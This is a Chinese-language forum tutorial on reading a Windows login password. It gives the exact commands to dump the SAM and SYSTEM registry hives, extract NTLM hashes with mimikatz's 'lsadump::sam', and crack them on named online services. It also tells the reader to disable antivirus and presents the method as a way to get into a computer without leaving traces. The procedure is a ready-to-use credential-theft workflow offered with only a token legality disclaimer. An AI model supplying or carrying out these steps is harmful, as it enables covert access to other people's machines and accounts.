Windows开机密码读取
0x00 前言
周知所众，现在想要绕过Windows的开机密码进入系统已经是非常简单了，网上各种教程层出不穷。无论是使用PE盘清除密码。还是通过替换粘滞键或是轻松使用打开命令行，操作难度都不大。
但是，这些方法都有些麻烦，且各有弊端。如果使用PE清除密码，势必会留下痕迹，别人就知道了有人破解过电脑了；如果每次都用PE盘备份、清除、恢复，那也实在是太麻烦了……
这样看来，如果能获得密码，那就最好不过了。
本教程使用场景：
- 能进入系统（比如他人帮助你解锁密码，当然PE盘也可以，只是操作麻烦一些，懂的人自然能做到）
- 有管理员权限，能使用注册表
- 能联网下载工具、使用在线工具
- 密码较为简单
0x01 工具列表
密码提取工具：mimikatz
开源地址：gentilkiwi/mimikatz: A little tool to play with Windows security
下载地址：Releases · gentilkiwi/mimikatz
解密工具
工具1：https://md5decrypt.net/en/Ntlm/
工具2：https://hashes.com/zh/decrypt/hash
工具3：https://cmd5.com/
这三个工具效果是一样的，可以任选其一使用。
0x02 操作流程
下载软件
- 从上面给出的网址中下载mimikatz工具，并解压。
- 打不开网址可以搜索相关“Github下载教程”。
复制注册表文件
-
找到mimikatz程序中对应系统位数的文件夹，如“x64”
-
以管理员身份运行cmd并进入上述目录
解压出类的目录树应该如下
mimikatz_trunk
├── kiwi_passwords.yar
├── mimicom.idl
├── README.md
├── x64
│ ├── mimidrv.sys
│ ├── mimikatz.exe
│ ├── mimilib.dll
│ └── mimispool.dll
└── Win32
├── mimidrv.sys
├── mimikatz.exe
├── mimilib.dll
├── mimilove.exe
└── mimispool.dll
-
依次在cmd中输入如下命令，将两个注册表文件复制到该目录
reg save hklm\sam sam.hive
reg save hklm\system system.hive
-
在cmd中运行 mimikatz 并解密，输入如下命令
mimikatz.exe
lsadump::sam /sam:sam.hive /system:system.hive
-
会输出一大堆内容，找到形如下面这样的内容（应该在输出内容的中篇下）
RID : 00000123 (1001)
User : YourUsername
Hash NTLM: 123abc456def123abc456def123abc45
其中 User: 后面跟的是你的用户名，Hash NTLM: 后面跟的是你的密码的密文，复制这段字段
解密
- 打开提到的三个网站中的一个，如我使用工具2
- 输入复制的密文，输入验证码（如果有的话），点击按钮解密
- 如果能解出来，可能会有类似这样的输出：
123abc456def123abc456def123abc45:password ; 冒号后面的就是你的密码了
0x03 结语
本教程能100%读取出经过NTLM加密过后的密码的Hash值，但是并不能保证能解密出明文（事实上只有小部分的能解密出来）。
另外请大家合法实用工具。
温馨提示：
- 本教程使用的工具 mimikatz 还支持内存读取和SSP注入读取两个方案，但是不支持Windows11系统，故本教程仅介绍文件读取方案。
- 如果是PE系统的话，无法使用注册表导出（导出的不是原系统的密码文件），可以到你系统盘下的
Windows/System32/config文件夹里复制出来后使用，cmd命令里的文件名自行改一下。
- 原本使用注册表导出密码文件，其实也可以直接把那两个文件从
config里复制出来，然后用 mimikatz 读取
- 全程需要关闭杀毒软件使用。
| 
[复制链接]
发表于 2026-5-4 00:59
分享到朋友圈
